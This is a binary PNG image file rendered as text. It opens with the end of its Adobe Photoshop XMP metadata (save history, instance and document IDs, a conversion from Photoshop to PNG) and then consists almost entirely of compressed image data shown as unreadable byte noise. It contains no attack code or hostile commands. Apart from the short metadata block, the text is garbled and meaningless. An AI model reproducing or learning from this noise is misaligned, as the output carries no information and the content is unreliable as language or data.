application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="saved"
stEvt:instanceID="xmp.iid:effc63a5-ad45-0d4f-af68-b105b70435ed"
stEvt:when="2021-04-19T12:50:58+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> </rdf:Seq> </xmpMM:History>
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:ab216e25-f6ab-d947-bc74-3e497a6b0d1a"
stRef:documentID="adobe:docid:photoshop:d526789f-ac79-cd4a-9a0d-16d02b8f7148"
stRef:originalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"/>
<photoshop:DocumentAncestors> <rdf:Bag>
<rdf:li>44255DDB773950C46F80D1450CF0DBDC</rdf:li>
<rdf:li>87FEABF05939505235737EE42C246F67</rdf:li>
<rdf:li>B3D621D2ABBE919F83ED6C409EEE7F0C</rdf:li>
<rdf:li>D16B72E9DF0C6D65519F995D1857825A</rdf:li>
<rdf:li>adobe:docid:photoshop:636401db-6a2b-ad43-adc7-81e60bf44485</rdf:li>
<rdf:li>adobe:docid:photoshop:957feb56-ceb9-394d-8901-266a5261e4e4</rdf:li>
</rdf:Bag> </photoshop:DocumentAncestors>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>�}�E�iIDATx��w|�އ�3�%��WA)""UP@�خ]��*��{�]*�
"��� ����m3�cv�M�T6�<���ٙ33gw�{�s~MH)Q(
�BQѪ{
�B�P(�%
�B���(1�P(
E=G��B�P(�9J(
�BQ�Qb@�P(�z�
�B�P�s�P(
����ĀB�P(�[�!���qT�f�B�P(B�|�=��BJY�'��뀳�nXb@�P(��8,�~����MP�Vb��۫{
�B���ln���TR�:)Z����=�B�P�\�����{
�.��8` J(
��r�
���N��\]݃P(
E�%���q�
)e�
-�
�B��\b���{�.��[�{
�B��\4��A���$FW�
�BQ/��U�
�I]q@���B�P(�
}�{����=�B�P�+�{��B�P(�{u
�(1�P(
E=G��B�P(�9J(
�BQϩ�U�D&v��K��,ϫ��<W(��F�x�{Վ~�I���P(
E�E��"lH
�Kd��E��z��$�(f��h
���(1�P�Y�A�ve\�����C�P(�E���X�N��9釓��YT(��P(,�P(�EM�
��~�ĀB�P�}2���Y�r�;�l�n�f� ��M�.����y@�jW�@Hi-'
Q��N�V��L�Ī;@�BQ7����Vb/�<x8�*U��_
�y!{g$p-�<_��gU<��C�XӐR��:�B���|�S���U�(`qe���@�'+�;��T���J(
E�d#p#��.�ҝ\$V֠ʁ���X�#�{=p!P�pP�D��B��{H`"��*���D൰���<�t�)�Qҽ��1�Z�
�BQ���Y���O��^upx�8�����Qk�ɞ�
�B��ӑn��GKw¹�opH"�&@G���_
�k�>�@s�-p
�[~�CE����1�z�
�BQ��3�x��������2�s�9�X9��p�
��ϡx����%
���~�g��u%����E�;�D�Ζ�LC�K����iq��<�%��vd�rd�Zd�F�g22�s�ѹmZ����f|�5� �
�0;#䉈�n[?�8�@+��B����Jҽ��p.^��X܌tW8Lѫ�z�%�!�Hc�33��g/�� ��e�&!�r!>�!`���m[�圇9Ѡ%�0�MP�PT����U�9¹+��@��߀����KoZ
�(1PuH�)ѽ�"S?�8�2�0�
�8���VҎ�XN>G��
x;�����h���=�� �>
=~��WL��h�NDk1���������y�å.ɇ�ᜄ%~.�!
�:0�ʯ[�Qb�j�!�y�e��?`6̱Tr`�.X�,Vc��ʊ8�o��Я���lt�z���9$�G�z�)��XC�P?���T��p�����:W���YM���Tzm���.�yc�+��d��}����/X�?�OFr�D`��qX^ȭ;���s�Go -�al
E]�o�T�;�J�&�g3���86êG8�K���M`�&Pb�JU&R!�1|?�l�8��L`*0k��q��Gòk^\��\
e��uH���9@���0��'f���Ze�t{*�z%��E�vWb@��|*I�TA��t�>�o�ǘ-}>뀷�o��5��R�.��[��h�_�ֺ��HP(����;���>�pvZ�H��"��b��n�2?�a�e�@J�I����W�8����<�)1��@>�
*9��<���E��^+�`.��ʙ�C����z����e�vP(��~>�"ݩe:J8{/b-�Gc��ĚtaE}��@��$؋_b�%����~��n܍�B���b��+ ��X��G��B�%� �x�W?a&^�ϞQ�[�U�&�=^�O�v¾/��/F�r|U(�����K�%���"��
�hW��{�~�[��3pi��, �X>H�QPb��PQx�T!��3��<_+�U�s(uK��z�a��nh{ �.���lw5
��(&�s]�g+,���TL��ً�}���;�Fj�0,(1>L*QL�t���Y�� �V��
�Tm�P����/��٫%^��?P19�P�c�b-��Xň�� $.*��+{
�%�G�����
���s�Y6�XNv�a��<X��7�@B���u�oKN8r�+���2V3�v���J\�0�����}�P~+%Q'݁�}�>�tb}��J�Q_�qm�z��y�'7�sx+2��ǥP�ʚ_��a�^�̥�b�>k%�;�=�����Y�q4+C7�pX�Q�XǏ+�NX����̵ν+�nM��S1������A�x3����b����i��$e�
�1/,���\�{G�^��(��\U�>*&4EP+LJA%��0r���s�?�_��w�(��?0SB�%��=����ɬ�P��Z�g*V=�`��B�OB�G!���y"¹x���1n,�Bi���GQJa�%
��1��ƈ��g�p.�.^�yX�8F���m����BQ��.e�w�o��B�{"�#��J9V�إ�������X���a�29���2�Q���Zq�j0��e|�����>��0&�0�x���i������B���DgaU'
��_�N��e�/�+��to@8�c}//D�燸��Z�|��R0:��+�}����Y�q)JD�T�0
\��_x�KPB��|���y�b��w��2�)��\���W7c�I��r⛆p�F8���/�6��g�!���G"�+��s�7B�%4�9�*�"��T(a��������Br.����QX� �F������P����F�����&X�qX }�pm��Hw�
_U8��t�©c��T�-X� �\�(�)�DTB����x ���v���kIM ��c�虇�*|{Q>
EQ�A8�Cl?�����g�h� �X��!�(�y^�}�|
+Ja+�y{���m`�'�B��e���PT�3P~e�9��cvĊJ����
��k�ޝ1�>�ާ�u<lG��z$�1�y�`4�
��K�T�V�n:�ae�&x"�a-^��?r�g�6,�`�9����������p�*R1�C���p^��;
�-�W����%�G�c&=���}V%/E���}}�)���!6^�֫��T.�!��Ř,?�7�0��^
E0����~/�s=��߶
�;����\��DZ!��Rض�+�qж��c%#
�f
����L,�����UT%�GX��vd������㼊cxh<|
��'c�v"��TilD���I�b�5�U��}�͏i�t�97�NTTT����������x���<{�ԘE�`p5���G�Eh�A8�H���˱r�/�E���XSj�0�ۊ�#��\0��J�ɐǁe�C�[�C��x-e�+VE��_�$���<�#9�liN��1x���&*:�3Θ9�۞�ҙ��gY���cˀן�L��������_��s�9�q_b�/4�W_wEhG85��1
O�.����(y٪�>e9��bU2R�c�D9�
Ix�\�W��s�+l�*��PT��>�H��c��2�wHǒ���CĂ뾋.�����~+�ƽt����7ǭ|-��~]����^�~CM˛��(|�Tn�cIE8_���Q�u
�"���X9�V�`�*J����(���i?b��Zex�Y��HǪ��Y�<�C�йԫ�H���L�4oq�)SF�z�[z��5����;:�|x�m�����[�J����^ E��J���������I@��c��jME���q�i�S@ހ/���W�{NE�X�ߛ�v|!�T�p,R�!�HE�.8�����xՇ/�5�}u�iK��e�ș:�z+A��0�[��H��X7(�4.��W/2J�
��b��6�:�2"��$!,7�Kϳ��,Ī���z^�`ع���_�h�p�����_;5z��?�Z�1_��;vt�ee�Ҏ6�7I8d����ݻ���/�����:��ʄ_Ϲ�K?�䧟.�/b6�*��̋H��g�� {�Ԅ����I�B���TɊ0��@����/���
�~�o���v}��z�7�D�<s�Uh��k0��c ��m��}vڴ�So����ִ��嗟��p�y��2�AV���Xp�n�,��a�~8����!S1���̈́��2u�A�c� ��l��}2��@����h0����= �+�P�����7c�g���!����ρ�����ī�ĤgB����ͺs?�GO�������ySjj�S�"F�tEg":��-b]rr������s�
�H���u>�'��<�w�fɳ0�혐qE=�~�;�O�`e �I�Y���[����O�ʆ��,A�S�˃!Ƣ�
�6%�&8�/b��pbMB��fϞ���9s&G��IK;:j��M-AJ!�i�i(�-�����={n����ѭ[�����U�V8��֬YX��� �DA�ŵ��W��m�m2M��
2a���v�it��
����E߾�Z_ĉ����?�FX�ON�K&��{�]r۴f��wQ�s֮�ףq:}K���ɧ|�I,�F���?O
�w�ݿ��eJ�;���>��t������96+�P�ݾnDz�p������rR�a�\�>'��s&�G��D8�#��_Tm�6�Z#,��G�'0����m6>�/z۶m/����7���Z��<����a���4h��^M�4h���[Q,n���I�Gߞ`eC��G"��O��8!p^کk�lX߽"�%tƔ�O�4�a�j$�㋘�vM��'���;�����6��.|s�ʛ�
��тg?��'ꧠ>�u�B�b*V���!�%`�G) '�u��|)����K�S(,���y Ûk�'X�ޗ����{�iӦ;ÈhԨ��ؘU�a�B��4��4Kn!V6l�p]TTTNfff�Y�f}>k֬�l6RJ�>�c�R��
�.|e��~�$�S'�l�7>�lѼ�\�>`ռ
�w@D���LB
�!�`�+"�m[��s�ykB����nl�p�|��&��R�(�ҝ�P5C)��ΐ�
3����֣�@�ׯ�ൂ|�ECvx�7]�f�YB���}��t�y��ܹK�����Ӗ�m�4O<xp�ѣG�i߾���}��s?���?���m۶�����(�w�=#C:܅�O�)+Ɵ6p�O�~Lv��Z�����֝�1m*�|����8 ��-��ܟp�E����E#F�x+����N��e"+��N�m�l���P���s\��[n�U�p.���K��
p�WN3f��.�+�4˟����Ɉ��F�}u�֭6H)ŲeK�[�d1����b.B�t:�j*R�E�\D>�q�*�9I,���0���m��8����uY�:z��@���FDL���ֽ�wâ}F�t��
5-�"�u�#Xhi��5�B���e��B�(�PX ��`x���C�p�\
bbb2z����$22����R��u�ԉ��O��}>>p
��˗�m�M�d��hag���L��[�����"77�X�x��^�z�j�ۓ*���3���6쎲R�V
�H~ǤW�&�7|q՜���x��'��d�]�ƈ0���D㫼�_>��0����}��2�>����r$TX8�{@�2��R�aA��J�S�#��+��o��!0_�7�|�-�@�uv�,KM��4mڔ��x|>=z�=g����qÊN��)��Vۚp��e�v�����iZm]�p�\,Y�dĦM��?���8�Y��
�,Y2g��k���E�M��W�X�`}�t�j���ٳ��)�v���&s.����Vt�ɝ;�����f˔�$����T�XJcg�Dѕ=�����������!��s��k�V���4Mz����g����cǎ�;t�j۶m�5j���r����!D��B�`�,�}$
�R�o��l�RSS;}���/4k��b��-kb���mۂ�9}�f�Ǐ?�t�,���0n��^x�ǖu<����}�f1��[����L^�mԳ�
��v3�K�-��˕尮�%P�x���h
����h�u�8N�3��6d��x��/8~�(ֲ|�w���Q\~������v[�<��"�ӧ��۶md�۹�����v�ڝ�`�@��,�D��h�����'͛7[�����_�5��{R����� ��0
x-�~���UƵ.z����x?���_��
�W%ݙ�B��}��nPX4j������60�"�M�
ݫ�;�O�dD��ҽ���!<e�=�6
�|�(��5%���R{��4�b��G�M�
8|�0ddd���J�vm��l����6R��<��Ct��=�*J�Њ��>�̆
�4M���[�ڷm�F𣦰z�jfΜ���pԫV���c��`BB�1U��5�*�!�����pF�� �S�)������H�t���0�C�#�����a0�?��x�'��W�x�t��*�8Q+aD_a��/K���W�;v�H�^�8|�p�s!����ҪU�u{���r���CBBB�i���֝��ۃ�
��u
�,|,~3��m�111h����=Z3��""n�
�MX*S!0���vڴisL
dgddX��*�@d�a�����Pe�UM"V������H���(��X�t"~D8��!@7
�������O ݏ �_�1�q~�t�̋Q�^C8��a�
�+��S��@Y��A���Ғ��d&�r44�4��-[ҢEsz�: �˅��:f��t��[���w��۶m�p��/�,)PyLRJ���q�Fك�S�N�jՊ�m�r��W�X��R
1Z���`��ʺ�i���W�'8�#"2�hx!���]VW!���"���K؟��?�E8o�JE�?������X��bͩe��x��>�E�Pv����@�3h
L���`3AI��I�N�����e˖h���f�M��l�7111�|b_�4�w����MJJj�駟��u}�i��_��K��o���@���H�d9���Z���m۶S����"##���)�5W%RJ�̝;�<��3��3f\��������Hwb��@8Ě�_($*�~��oV���J����]�UZ߲� l6\p+W����֜n>���5j
6������tn�������_9r���&N/-|��v
d�,m�\
���6�~�����3��{ڷo?�&�`�ʹ~�d�j�B�����XB�u���*��t��p��T�5�J���Ho2�
VΡ���/���4M���G�X�x1�����gee1k�,L�.]p�*�6�գG�֮^��ڣG�4M�9��(V(�+��
mЮ}�ɇ�KII�6mڴ-Z�8�U�V!s/T}��e۶mddd��)2��u2�f*�^Q{�GيU�o�U,!��j�SX~
j�+#�
����K)Cጲ� t]gԨQŮ
躎���~`���0���<��x�^6l8?>>~�ѣ酲�L���C�P�c�Xm��Ƹ��X�fM��;w����r�~�V�sQ�j!..�{�v�ZfϞ�7f̘%�Y`~�藔z��f��&_���XB��ߩJ�O�w���:*,�a���p�*�`�Zx��ӇN�:�B��:RJ�O��ڵk���1#��bX�5�>����\����'���A���=�z���WV�ʁa8�N���C�
�����(j3Ǥ����.�
�3�
�|�ڹƪv��J�Y�Qb
L�'?KP��@�L���1!6��ѣGc����1N�>�u��2'�iJz��ɭ��J����������m��
��0�+E�u�]G�iҤ �z�"..�pϞ=lڴix��*!X�6![U���"�J�&�
Ώ8�q�<��p���1Ր��ڂ2�؍l���,��K�V:v�rU�f��p8
�V���{�4k��0�z��Q��ٳ'n��E��)�V4M�o�>\|�ż�����!HIIIHJJ���T��
����A~�al��L��ǟ<K85��do_��:��s��|��>&�F%�Bgʁa`��Y_���<h���n�+`��b���{i���v9�]�e]�1��ӧ3h�
ڴiK�Νi۶6��������333o�8*'���������Etttb�^��;wn�>]�0B)��߬��iZ��V�Q����vҋ�_&�r�^�u�-�j�N�*3\�&x��+�*�dCVέ�@�7��Ԩ�RP��r��@X��a��,�EX}�ر#.�˿$/�4�����w��y_FFF'�����-Z�h�$a�i�{rss��1g��������w�\7$%%�le,K�``���
4���B@ZZS�Li�v�������_�a5Z���2�V���J(j)�U�h�tb����J�+����CC���(֍I,�X��~�y|�B��0�
yK�9�Wp��`t]g�ȑ�|��������ܳg�]�>6���r��v��}yRR�i�F�3p�m^����ɓٲeK�K��y��m��
MӤ����i���h�zA[p8����8n�8V�Zu�YB�5i5'�@����(d(�yB����:,!��U!�2�����1�]1��p��>�Q�3��
jvwy�e&8��:t(�)%���̘���{��K�m����ƍO6M3��v�ݽ{������O{�3��4��������c�]}0���6!D_kR!��{�
�2�ߡ`�RJ"""p�\"""Bv�ڕN8��?�8��M�Y)ŀ��.��J(j/N�i������>�:��
����?@8�&�J��Dd������0L7n�Ν;�˳Rh�f��_�R2f��O.������^�[��9|��=�?���u�֝��O?�:t�켼<�[&�����A��L`��"?�`�����e���ƍ�}�vr��������|^�9g<6�����W�\��'��y����+�V�$R
Em�b�����2!��t��Q����_H��r%�7�Uΐ�.J��CE1������'���$����@���i���]�v�:22�v��q��!�����\ټy�������]�~�l���җQ�O�u]��4�ğ
t2��j�����߇����Q#G�Lt��<x����cv��Ç��v���~��j��p$����P/
ð���RGy�l<�t{K�)� ��Ԝ�T��Spe��pބ��D��0�����e?J�+�z��b����BMAff��H QQQ�|��ݹ
''�v�pJ��;v����bNNN^JJ
��Ś�<�l��k�A��-[����c���?$<jѢ9;v�&Odd��
��U���:(�nwD�u�p�2��.|�"��B�j�jX,V��w�w���!{ �I�}X��
��@ȅ�m���.��E�;vd������i>�obb�����n����4M[p��!4M#==�-ZtIKK;`ذ�����o�B\C�u233?��O�߿?���II��
erV�q��r�?=���
6���Ne�����|�D
g@FM{('��a؋����pArh+j3���?�CXwޝ�S�l�5���l�
�ְ��`�QB�8Pb
��K^��*tlҡ={��O��a�:t��~��3f�tWZZ�ƍOs8�+V�X�v�999�-[��ҽ{��!HB[�2���Hnڴ�C��[�
B��;Q0�Pu
Ru.��A�a�6m���"$���\��
~a�����˝Ѧij����L������1�W�2-�Bk#
���{u%Y�Hs�~T�CIII������C��ͱǼ���8|ٲe.^������ǜNG^ffF+�0�����ojڴiNjj*999$''c�و���cǎ�U}>>�/�z�7�R��n����gP�Q9wӕ@;`G坾����QPn��֬�]�١�N�d:��w�A��W�o|x��y
$
�s6�>}�
��/�{��A4M�1�ʼ��'�l�rknnN�����m�v�A�HIIY1e���∏�g˖-DGGcM�4�M����Kzz:P�Ѳ�[c���`��3���cٲe���JM?��3?��s���/��C�^o��n��+�#LZ�l����3]�;4w�������}ZZKU�Y��_(1�X��NA��
p�&��l�?���l6v���üy�?�{���=������ÈiР��.]�,��_طo�:u"!!!�v��ni���
��aq��I�
=z4�
b�ҥ���dg�������(������3v��Uϼ�̪Ҏ���.�o^����wap=cU-3��^��@�'-!d����f�SN9�.]��l�24M����{��=G�yyyZrr�_��z�V�ڗ��E���ٿ��#�������山��
!��^/�'�:�t�-srr���&�
������v{�����\p�f���,[��@��20�e�\,�.�%��?w����.��j�7R�i��͖ѣ]�}��xl���v���O�6#�ٷ�\�Ƨ�p�~�B���(140�K��{�����l6�=�\�R}�X�v��III��6n�xݼy��s�9�h���{L�6m�i�m��#G��������N��C���l��+W�p8رcǵG��w
aP�0A���ҥK/��l�J)���8���iذ!�Z�"//�W^��5V���p�)����!��n��)��v���ǯ~����O=��_�䠲j����m+��ŤI�N�4�_��4Y��?�_��V(Ջa� Y��uGY�\�,���Uf���N�}���\.�l��о}��hڴ�괴�Ĉ��N���'~��wOk��9�S~}��g�������p�|����˕wjjj�ɚ�M��OkӦ�ѣG�ذaRJ���=}��=���3j�f�/
t]}��١C�\)%v�
����͛HMM�.`̘1,[��_�����X%�u��q)�6^ɼh3��d��U���
ƈ��U�H��e"2<���Dە�p�M��(g�$��g`U��?�+�h]�>�B�hX�l���WLz7N8����w�[��?� �j���\>ﲩ�L���[6�� �r*T(�0��b�\+t+(sa���֭[���BjjJ�_��?^x�� �~�����SO�KLL�n۶mg~�ݷ/Μ9����8�ә7x��V�\�s�n�4h�IS�|���������������tҢE+6l�=..����"5,���N۶m���%77�]�v�m�����VB$��*�<p�@&L���&��6v�e���^k���t��ٹ�e��6/���K<��)M�*gzV��t�g�6.���W>|@�'!�wR]S���|率v�/Z���E�_1y��z��λ��qk����}x���g�黾��h�/|LR?
E�D}��@#���jZ�cq���������ꕓ���n��
����D�7d2�"��;}]#sss�Gވ#.MHH�i�&G��ȑ�
����+�,Y2d߾���|�r�%�\B�
B�4�����ݻٲe3YYY!Ǟ����H��``T�hS�|�{_�/�5��dX D��%-f�F�|@�#I�a�M-�9�$�p�_�!y���-q�gxN��-��N��a\x�6�m�q���*hU��$�n����!�xG��i~p��W\����9*O$)��C��0���պUm]�c�h�aXw�۶m
�r
!�z}��~�)���Ɵ9dȐl6۴C��~衇n9�3f������u�V�n�
��u�#G�؏)H�8b�������&�����0t]��0{�,<���k]�Ur���p^�N|���'�N�C��`�W��e��%����7�}"th�F�MpeV1���̷�
��@'o^֣���M��}'S���z#J�i�ُd&&�7�zv�˯�H���_q�)�WNY�|�/�\�"�:�a�D���jv,�q�%�~?A�
(��s�0L:D�֭�Rf
<����ܸ������Đ��INNN~ia@�
�u~I'ЫW/RRR��W���x<�b�����(�h�-~:��<�Q���?6���dg�o�
p��� ���J��+ߙ1Tm��� ���t���G��w����o�z6@�
\n��M�ե�c]�GX2�.��#V,��
E�D��0��ov)�1��H�����;��۷s��'JB��������������@�S�Ն�Çbyyyq����a9<��FT;z��v��0M�,"��Zj+�d���3�8#u�[����;�"�G��|C�k�L/�1w��@�0� ~��Eb�|ඏ_.���+O;{p��A�
\s��c���&OÀCp�9��x�=:��i�)�7�R�P�F��0p"p7zRY� D<�RJ3��P�!C�аaC�nw~I�;w�t�R�^/ ���:
��ng͚5�_������H| ���BT.��0��,X@VV֯B��i����F�J+��z]p�����x���8��0N���/��%�96��ɏ�hpr��.��g�L�G,p�-�Z4�峾+����4RA�(Tݺu�-iɜxG��Nv���CJ(u
%� ��r�efnD��s���oM�+���
8�̑��q"��ݎ��8�N֮]@BB�{.?����PPn�4�'�֭ؓ[s�����˲�2cMSʲ�-F����;w�hժ�N��U��"p��m���5x%��9�F~DA���6�:u��Ĺ
����k:�8Ӄ���:��&��E�>��
�5ȴi,�йϔ�����+�;�(�߶m�FEFFꞼ<!Y\�ʅk�,����OosX�~�&��o� 7T
�A��0�հ�٣G�_+4�22�W�5;��u�L.P���N��@�
�)bg2��kR*�_@��@2
%�;�̑��ٓ��7�����|���p��2c�RRRL]�$�
))�3�<�F��\�jՠ
6�
�(pT���5!z��m8�Nt]/*&�.��\��\�^�B�r�H<�Y>�ª
hJ����O3<���(���X��j��
�;����^���ο����+��nԨѥ�5"-1���W�X`T�<cn���ߡ��}��dg�K��W���t�� qq�n�vH/��qӴM��,��u���B��Pb
LF�~o�H�b P��X3A@
�
Ҩ{���BJ)��W���B!}>N��q�ƙ?��SDzz:RJ0�ܹ�]�v�zq8F�%�B�DDM�6)mP�����h�[�^�W7t�i����l��;�S�)'L5%��֍=������<!�MJ��l�����8�s���"[�j�)�},�
�e˽g^r��C��Կ����;�a��3�������O̝;t8<����6�N��w��]�{)�BQ�(1&F��~o9r
*�1������Elذa���|
D`�
�I0T�fӥ�튷��o�~��x<�����w�ާ�q���,B� ��l���0d,P\�"
�-�\]m�4��Y�0(�"B��&L*�O�B�Z�;g��yE"������_>s���w�1�q�'�BgL�'6�{�k[:�p�]fa ��+�/��һ�={�T�efذa�6����Ρ�@��ȾÚ\�@^I��� LӤW��hݺ5���)��>�O=z��I�BѣG��'����þ}{ٱcG��
%%�µ ��e���i:�����իp�\=���{i�nYc���($�#�#t�]F#���¡�nM�dR���}k�x^V{�����s�/XjϿi_Z�ƿ*��%b����|�� �8k�?���.���9��W����Am4�TpU�|�I3M��7>�QK|||z�ƍ��9�r?�6�,]�B�(%�D;��8�'�
/
�VR�����#F�����q��g6o����� i����-��v���fIII�.8�>}��v�Y�x YYY�\�/>��&����&R�!��ܱ4M���mk�C�u\x�k|>RJ��P/o1p�>ɃAO���c���� ��ع4�HH�� �B`�&�3�Zi^�I
<�DI�CcV�7�z%k���yv-55�_�&M���yC��羸���'#C�Ec�q|��7���7|q�+a` t���yM�.��9�r�
E�B��02m�L�.X�{KP8�`�֭lܸ�v��Ѵi�?����A�����n[��a
�
""�
�#�Fnn.B�4i������$5l��C�������)��A���IHH8&��������R�L.X�?-��:�����spU���;�M+���,-��B�/Ã����G�_)�O�L`g��u�L���N`�n�V�z�ɕW\��y��U_����^��7Gd����q~���*QNg���G�Ħ�G2��.�P(*%��
hY3����^JȟW`&����ҥK���Jb�r��z�
���vbb�Y�~����6mZ��J�MP���I�B��>�_��6�\�w�5��?�_<&�dx��/b5��v���U��R2V\iJ&���P�\�h�_�������c�}��Q�����b��J9ڏi���Үi���vG����6MS���,��}7�hY@o��s^B�Ɇ�vڎ�ǖ��^}���~�b$U�%
E��@9M��C.+�iXY�Bb� Li��aǎ����kФ_�G�a]��Ï���Ox�^
:��O/1q��1�7dx���qNv�?�c�P��k��
pX�e�1��}�N�{�y�0%R�*!�!��X�ǃ������涍<�y�����h4�"�������Ӊn�|?U$�5kv(�2��UsE�BQ(1F�3m���5�
�4����G�-���,X0�E�ɲe˂V4|>#D;�ʀͦ�����Ç]s��%���_8�@Z�|Q�}4���� �2$��2�
�gH��3�gg\FA��\�4pp��G��l��@w��$�4%ct�ٺ�
�<F��2afgg��AK4B�Z*
+e� 8��X�#hf��L�lN=�S�����r�#��֢E��c�#��:�a�!��9���U��@N�~R���kҧO�vM�4ټnݺ�}��y��y<f���������W&�#i'*��J4ToqWb9��jH.���E'�$���8����#������n���L��lLΰk���������={6g�}vV�(&c�P���F�
X+%�>��;z��$4���K� a����FFF�,?��*��N���af�M`{����2��8�ЬY�����'~�駏w��2��i
�ú+.:�[�>��n��zE���xh���I�K��h��#���H
2����a���t�N� ����S]c���&,��� �{'#j����H����ӲcǍ�4+�}.ˋ֥�e
!h��?�$Mށ0>
Eu��@%0}]�;)F\{�����?�ٳ�⼼���:u�+%n�YVr;��n�|>_���Xi �boD��e'i���3~A�5�2�˷���>��f|r�r�����w�M�nf��]�����<��w�a�yq�)�܆��ŕ�������'N�"#�'�i��ؒ��%�C��N��@%�?��0�z��D5�h��={�<묳�?����g$''�QP{�
P����A��>�H��8(`�n���p���5233O2M��
y�����@����4�ʀ_��e&3����6N���B�/8�
����>�!
2����j��V
4H����m6 �۷B�P�L��b����9�o�1�r��֭ۻ�/_�`zz�@��\z�h;P̨�*�R��k�c�S����$�%�5��/$Bhv���.!<Q�ӀNEvL#?�=�%2��c��xή�pӏ�i��iR�ؤ��d��Y�*�@�
���
�|�*���U�&���bժ@U����u��k�M��+J�P�Z� �֊��=�?j����mZ��C9�,y��O���V��w�=��m�����>����#A+_:t���G|\R�A��$��v�8H(�5��0�'��th��0��R���)4��/�$���xl���(.$��:E��n3Ea�Q��rۚa׀Ù����l.Ec��g���+�i?c�.�4����Ȇ@c�#+�%k��YXZ;�����𝌰�C��h��PC՞.J�xK�x,��y8Ղ�R��1p��?bb�}u���E�����
ڙ�߾��\�
h�!,���ݦ�&xÔ�5$#���L"��$�h���/yMR��e~1p���������ڸ �h:�];��[o��t:ӥ�v)%�#{�ƍ��{�7��O\yU�k��OP9m��iƴg����ߣ+��p���ǂ�H�[Lߏ�b�y����i�j�H��c��F"b�!꽚Sb@��|*KD�����J�[W�25�K�:��@o���4�m}�D�'�u6�Q���(C i�)�N�
�|��چX��(|\8�4��ȅ!Mq�ˌ�l�)杼��0���O���-����ο�������k�U���WL�{��"�VYV=��?@�B>�����c�?|X��_��U���A���$�+`��P�#�C�ס79
Y�g�
�Ā%�*�LZ
.�m���X��R���V������b �S��LI�Q�P��go���NOX&�!�.��M�6tW�Z�+P'�a�B.��ޮ���X�gSD���n�;dfA#''.�O ���9�y��?0OpA��]��2�c �H+ǩ��Q��z���pC�Ӂ�![OB2 �88z%��
=�BE��3��d^ǖ���lK��x���TI�"(>�
�7�ϓM��ƕ�Q�Q�ҿ�w�2t�
��|��
������lD���%g�T��X���>f�d�A��|ga�ŮlҰ�r@,G`Y��e@��0y�����G]�Sg�
�Q�$�L$��*�@�c@��O%���O $a���>�
?|�`�����*���v��6�]�F�&X�k-!��(�U��8+ʑW�eץ��,}R�R����O\��
r���V4�s����]��f>�aY��Z-�
!
������3�?���Ȧ��i�'�a��#��IE-G��*�f�3�"��Xv��h�[�S V=�<z`��.�5�t�����Z����I7 �����is��%Emh�7����T�EXI��W�[���1O�@<��˟�_X+/Z9�X��8o��A����q߇���DA�E��*b:�Cv��*����S�l\���Q���mXo@
��B���f�����
LqIH�/]��6X�8V�p���L�G)c������a����X�
ϩS0��,�?k%�V�mv���dc��~�\D����O���u��>��@�q�k��O����!qDWߨ�νOb%
z+��i`0���+Kqp-�q�������S���1^�;�:�k��5�-v��=>ܖ^���2�p�X��-�i�\�QTS0�����)^+�HV*�F��d�f(��Q1���͜��P�!�}�
�}�w�u0{c-W�$H�OF��.,�F��m9v�oX����y��@�K2�o�[�������Z�`,��v��b��[k��<ĸJIDf^�Ϲ���Ŋz��UY,��)�x1�y,>�CK�=�i�+�ڂU�O�u�s��H���3��e�����?+ V��b,1p<܀x0˿`)V8Vq�4``o����A�@�W�g��A
-��ߗ�j)1�G��w�u��s���=����V�����?3�Kl��j]�.EJT1
`��s�m�&�g���=�0�|�����GYY
4u����u�h����3B����0��U1�($��*
��g���Z�
�R|��1J�X&�c��a<�sX����`�E��
-�lqu�;VPB����UXapc��)���ix[v�z:����(-@��"��i��U�dvW���1)3�2��'!�v,��{
f\�G�AV(���zQb��� m�D�U��o�W�p�"ςU����G�)����[�l�V����rH�u�o�⩘��xc!5,߀��R��$� ����p�^d��zf`�W��E��j�Y������(;
+�o�E�h"q4��q����סy�@i�+t�O�k��m���e������v�+�-C�����C�_�zu��~��g0<W�����&�Uu���ˏg�����
������(1P�|���h�
X>\ӁQ�<�bxR��DT�V8�)6G)�k=-\���#�q�w��6iO�oޟt���[ъ��z���;f�������
���z�!���y����/�����go5�&�����@��M��ʚ�`IU��ʫZXV$p�M�=��s.��d~���;c��杍�^_���HN|B7��;n�0{��_|��[��`Y)%����L"##�n��n�3m���.~{�oѦi�/4ޯ'>�&p)>��g����T۸x��G��.Z�eՎ�Z�J�S�b��_��vfO,;��Xl��� V�c�E��Q_�@���L���"������$Z�_�����I�DH�\|�L��<u/�*8��8m�غ�(�Pb
��
�����i�}����K��Cn4�<�BsO��O�����
��r.�oC��bL��1A��
$p>��!�_�0:E����
�l�-�`�&j�yZ�%�)b
���^�8MZ_��X˓��;�I;�����:T�XQ�܂�a�i���'��b40p\��i2��A)+���@�Rh
���O��;�`��_����"�+��f��ز�POcx����(!.~�J�d|���q�M�=
ű(1PC�m�_ؗ6E�J]�'��3�?c�v�[#��rĊ�a
fޣ�ȓ�(�p�#p�=�an���(�R�'�M_Ĩ����p/a���\�#�6FbU@0ͷ
��RsV��Hn�>xE����֊�~%��#�U��(1P�icgc��6����p`V�:C�'��UN5>x[���l*��x���']��`Pu���_�Wb���VERE
@��Z�胶b_<�V"���XI>�2�k�gg��ۅ�[Ѣ�wX�������H��b�?*ANe#�R9�8m.��-U#Pb��q�"�]>ƶ�1�a�~��sl��``>V��M�a�s.6[Y�����}A�̂UE:Vb5��?Ŭp$�"|(1P�mh�F���qZ�lÀ�X��ά��7gb����Hpߏ�a?����V����з�)�]��'��j
T5k��܂��adz�G��@-����
����6�
����E�Ԗ��h����Y�L@ے��2�I��9B>�֑��g�Z�t,S���yX���%��ՊJ:D�K:T��[�5f������K`)5��a�=���p@,�]���Yl�jCy��f �%�8��7P���!h8+�z��TL����%@�C,��iض_�ֵ�������1�����s�6��-�v%�c-�.�w�j"���8�"�
ptF�m���T栲q�c�T%��p�� x�,+G�jx��z�D��HJÑ`��()%�ȧ.��`6"yc�o���!>hW.�k�` �8Z Ch��
����
���B�_����_�܍�[����{b�<^��$�����O�%o�<(%>5��L \�/y
f3���
`����n֯_���SJ�-[��t0���i�iJ@�i���[�]kݺMjӦM�u����#Fl0`v����4�;�<>��i�lKLS��]J���V�Zr�u�#�d��4i��0
